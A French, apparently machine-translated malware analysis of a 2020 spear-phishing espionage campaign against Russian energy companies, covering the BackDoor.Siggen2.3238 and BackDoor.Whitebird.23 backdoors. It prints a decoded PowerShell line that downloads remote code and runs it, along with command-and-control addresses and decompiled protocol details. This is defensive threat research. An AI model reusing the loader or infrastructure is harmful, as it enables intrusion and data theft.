Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

Notre expérience en matière d'enquête sur les incidents de sécurité informatique montre que le courrier électronique reste l'un des canaux les plus couramment utilisés par les attaquants pour pénétrer initialement dans les infrastructures réseau attaquées. Une action imprudente avec une lettre suspecte (ou pas si suspecte) devient un point d'entrée pour une infection ultérieure, c'est pourquoi les cybercriminels utilisent activement des méthodes d'ingénierie sociale, bien qu'avec plus ou moins de succès.

Dans cet article, nous souhaitons parler de notre récente enquête sur une campagne de spam ciblant un certain nombre d'entreprises du complexe énergétique et pétrolier russe. Toutes les attaques ont suivi le même scénario en utilisant de faux e-mails, et personne ne semblait avoir consacré beaucoup d'efforts au contenu textuel de ces e-mails.

Exploration

Tout a commencé fin avril 2020, lorsque les analystes de Doctor Web ont détecté une campagne de spam au cours de laquelle des pirates informatiques envoyaient un annuaire téléphonique mis à jour aux employés de plusieurs entreprises du complexe énergétique russe. Bien sûr, il ne s’agissait pas d’une simple manifestation d’inquiétude, puisque le répertoire n’était pas réel et que les documents .docx téléchargeaient deux images à partir de ressources distantes.

L’un d’eux a été téléchargé sur l’ordinateur de l’utilisateur depuis le serveur news[.]zannews[.]com. Il est à noter que le nom de domaine est similaire au domaine du centre médiatique anti-corruption du Kazakhstan - zannews[.]kz. D’un autre côté, le domaine utilisé rappelait immédiatement une autre campagne de 2015 connue sous le nom de TOPNEWS, qui utilisait une porte dérobée ICEFOG et avait des domaines de contrôle de chevaux de Troie avec la sous-chaîne « news » dans leurs noms. Une autre fonctionnalité intéressante était que lors de l'envoi d'e-mails à différents destinataires, les demandes de téléchargement d'une image utilisaient soit des paramètres de requête différents, soit des noms d'image uniques.

Nous pensons que cela a été fait dans le but de collecter des informations permettant d'identifier un destinataire « fiable », qui serait alors assuré d'ouvrir la lettre au bon moment. Le protocole SMB a été utilisé pour télécharger l'image depuis le deuxième serveur, ce qui a permis de collecter les hachages NetNTLM des ordinateurs des employés qui ont ouvert le document reçu.

Et voici la lettre elle-même avec le faux répertoire :

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

En juin de cette année, les pirates ont commencé à utiliser un nouveau nom de domaine, sports[.]manhajnews[.]com, pour télécharger des images. L'analyse a montré que les sous-domaines manhajnews[.]com sont utilisés dans les courriers indésirables depuis au moins septembre 2019. L'une des cibles de cette campagne était une grande université russe.

De plus, en juin, les organisateurs de l'attaque ont proposé un nouveau texte pour leurs lettres : cette fois, le document contenait des informations sur le développement de l'industrie. Le texte de la lettre indiquait clairement que son auteur soit n'était pas de langue maternelle russe, soit créait délibérément une telle impression sur lui-même. Malheureusement, les idées de développement de l'industrie, comme toujours, se sont révélées n'être qu'une couverture - le document a de nouveau téléchargé deux images, tandis que le serveur a été modifié pour télécharger[.]inklingpaper[.]com.

La prochaine innovation a suivi en juillet. Pour tenter de contourner la détection de documents malveillants par les programmes antivirus, les attaquants ont commencé à utiliser des documents Microsoft Word cryptés avec un mot de passe. Dans le même temps, les attaquants ont décidé d'utiliser une technique classique d'ingénierie sociale : la notification de récompense.

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

Le texte de l'appel a de nouveau été rédigé dans le même style, ce qui a éveillé des soupçons supplémentaires parmi le destinataire. Le serveur de téléchargement de l'image n'a pas non plus changé.

Notez que dans tous les cas, les boîtes aux lettres électroniques enregistrées sur les domaines mail[.]ru et yandex[.]ru ont été utilisées pour envoyer des lettres.

Attaque

Début septembre 2020, l’heure était à l’action. Nos analystes de virus ont enregistré une nouvelle vague d'attaques, au cours de laquelle les attaquants ont de nouveau envoyé des lettres sous prétexte de mettre à jour un annuaire téléphonique. Cependant, cette fois, la pièce jointe contenait une macro malveillante.

Lors de l'ouverture du document joint, la macro a créé deux fichiers :

  • Script VBS %APPDATA%microsoftwindowsstart menuprogramsstartupadoba.vbs, destiné à lancer un fichier batch ;
  • Le fichier batch lui-même %APPDATA%configstest.bat, qui était obscurci.

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

L'essence de son travail se résume au lancement du shell Powershell avec certains paramètres. Les paramètres passés au shell sont décodés en commandes :

$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;

Comme il ressort des commandes présentées, le domaine à partir duquel la charge utile est téléchargée est à nouveau déguisé en site d'actualités. Un simple chargeur, dont la seule tâche est de recevoir le shellcode du serveur de commande et de contrôle et de l'exécuter. Nous avons pu identifier deux types de portes dérobées pouvant être installées sur le PC de la victime.

BackDoor.Siggen2.3238

Le premier est BackDoor.Siggen2.3238 — nos spécialistes n'en avaient jamais rencontré auparavant, et il n'y avait aucune mention de ce programme par d'autres fournisseurs d'antivirus.

Ce programme est une porte dérobée écrite en C++ et fonctionnant sur les systèmes d'exploitation Windows 32 bits.

BackDoor.Siggen2.3238 est capable de communiquer avec le serveur de gestion en utilisant deux protocoles : HTTP et HTTPS. L'échantillon testé utilise le protocole HTTPS. L'agent utilisateur suivant est utilisé dans les requêtes adressées au serveur :

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)

Dans ce cas, toutes les requêtes sont fournies avec l'ensemble de paramètres suivant :

%s;type=%s;length=%s;realdata=%send

où chaque ligne %s est remplacée en conséquence par :

  • ID de l'ordinateur infecté,
  • type de demande envoyée,
  • longueur des données dans le champ realdata,
  • les données.

Au stade de la collecte d'informations sur le système infecté, la porte dérobée génère une ligne comme :

lan=%s;cmpname=%s;username=%s;version=%s;

où lan est l'adresse IP de l'ordinateur infecté, cmpname est le nom de l'ordinateur, username est le nom d'utilisateur, version est la ligne 0.0.4.03.

Ces informations avec l'identifiant sysinfo sont envoyées via une requête POST au serveur de contrôle situé à https[:]//31.214[.]157.14/log.txt. Si en réponse BackDoor.Siggen2.3238 reçoit le signal HEART, la connexion est considérée comme réussie et la porte dérobée commence le cycle principal de communication avec le serveur.

Description plus complète des principes de fonctionnement BackDoor.Siggen2.3238 est dans notre bibliothèque de virus.

Porte arrière.Whitebird.23

Le deuxième programme est une modification de la porte dérobée BackDoor.Whitebird, déjà connue grâce à un incident avec une agence gouvernementale au Kazakhstan. Cette version est écrite en C++ et est conçue pour fonctionner sur les systèmes d'exploitation Windows 32 bits et 64 bits.

Comme la plupart des programmes de ce type, Porte arrière.Whitebird.23 conçu pour établir une connexion cryptée avec le serveur de contrôle et un contrôle non autorisé d'un ordinateur infecté. Installé dans un système compromis à l'aide d'un compte-gouttes BackDoor.Siggen2.3244.

L'échantillon que nous avons examiné était une bibliothèque malveillante avec deux exportations :

  • jeu de Google
  • Test.

Au début de son travail, il décrypte la configuration câblée dans le corps de la porte dérobée à l'aide d'un algorithme basé sur l'opération XOR avec l'octet 0x99. La configuration ressemble à :


struct st_cfg
{
  _DWORD dword0;
  wchar_t campaign[64];
  wchar_t cnc_addr[256];
  _DWORD cnc_port;
  wchar_t cnc_addr2[100];
  wchar_t cnc_addr3[100];
  _BYTE working_hours[1440];
  wchar_t proxy_domain[50];
  _DWORD proxy_port;
  _DWORD proxy_type;
  _DWORD use_proxy;
  _BYTE proxy_login[50];
  _BYTE proxy_password[50];
  _BYTE gapa8c[256];
}; 

Pour assurer son fonctionnement constant, la porte dérobée modifie la valeur spécifiée dans le champ heures d'ouverture configurations. Le champ contient 1440 octets, qui prennent les valeurs 0 ou 1 et représentent chaque minute de chaque heure de la journée. Crée un thread distinct pour chaque interface réseau qui écoute l'interface et recherche les paquets d'autorisation sur le serveur proxy à partir de l'ordinateur infecté. Lorsqu'un tel paquet est détecté, la porte dérobée ajoute des informations sur le serveur proxy à sa liste. De plus, vérifie la présence d'un proxy via WinAPI InternetQueryOptionW.

Le programme vérifie la minute et l'heure actuelles et les compare avec les données sur le terrain heures d'ouverture configurations. Si la valeur de la minute correspondante du jour n'est pas nulle, alors une connexion est établie avec le serveur de contrôle.

L'établissement d'une connexion au serveur simule la création d'une connexion utilisant le protocole TLS version 1.0 entre le client et le serveur. Le corps de la porte dérobée contient deux tampons.

Le premier tampon contient le paquet Client Hello TLS 1.0.

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

Le deuxième tampon contient des paquets d'échange de clés client TLS 1.0 avec une longueur de clé de 0x100 octets, une spécification de chiffrement modifiée et un message de prise de contact chiffré.

Nous enquêtons sur une attaque d'espionnage ciblée sur le complexe énergétique et énergétique russe

Lors de l'envoi d'un paquet Client Hello, la porte dérobée écrit 4 octets de l'heure actuelle et 28 octets de données pseudo-aléatoires dans le champ Client Random, calculé comme suit :


v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
  *(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
  clientrnd[j] ^= 7 * (_BYTE)j;

Le paquet reçu est envoyé au serveur de contrôle. La réponse (paquet Server Hello) vérifie :

  • conformité au protocole TLS version 1.0 ;
  • correspondance de l'horodatage (les 4 premiers octets du champ du paquet Random Data) spécifié par le client avec l'horodatage spécifié par le serveur ;
  • correspondance des 4 premiers octets après l'horodatage dans le champ Random Data du client et du serveur.

En cas de correspondances spécifiées, la porte dérobée prépare un paquet Client Key Exchange. Pour ce faire, il modifie la clé publique dans le package Client Key Exchange, ainsi que le chiffrement IV et les données de chiffrement dans le package Encrypted Handshake Message.

La porte dérobée reçoit ensuite le paquet du serveur de commande et de contrôle, vérifie que la version du protocole TLS est 1.0, puis accepte 54 octets supplémentaires (le corps du paquet). Ceci termine la configuration de la connexion.

Description plus complète des principes de fonctionnement Porte arrière.Whitebird.23 est dans notre bibliothèque de virus.

Conclusion et conclusions

L'analyse des documents, des logiciels malveillants et de l'infrastructure utilisée nous permet d'affirmer avec certitude que l'attaque a été préparée par l'un des groupes chinois APT. Compte tenu de la fonctionnalité des portes dérobées installées sur les ordinateurs des victimes en cas d’attaque réussie, l’infection conduit, au minimum, au vol d’informations confidentielles sur les ordinateurs des organisations attaquées.

En outre, un scénario très probable serait l’installation de chevaux de Troie spécialisés dotés d’une fonction spéciale sur des serveurs locaux. Il peut s'agir de contrôleurs de domaine, de serveurs de messagerie, de passerelles Internet, etc. Comme nous avons pu le voir dans l'exemple incident au Kazakhstan, ces serveurs présentent un intérêt particulier pour les attaquants pour diverses raisons.

Source: habr.com

Ajouter un commentaire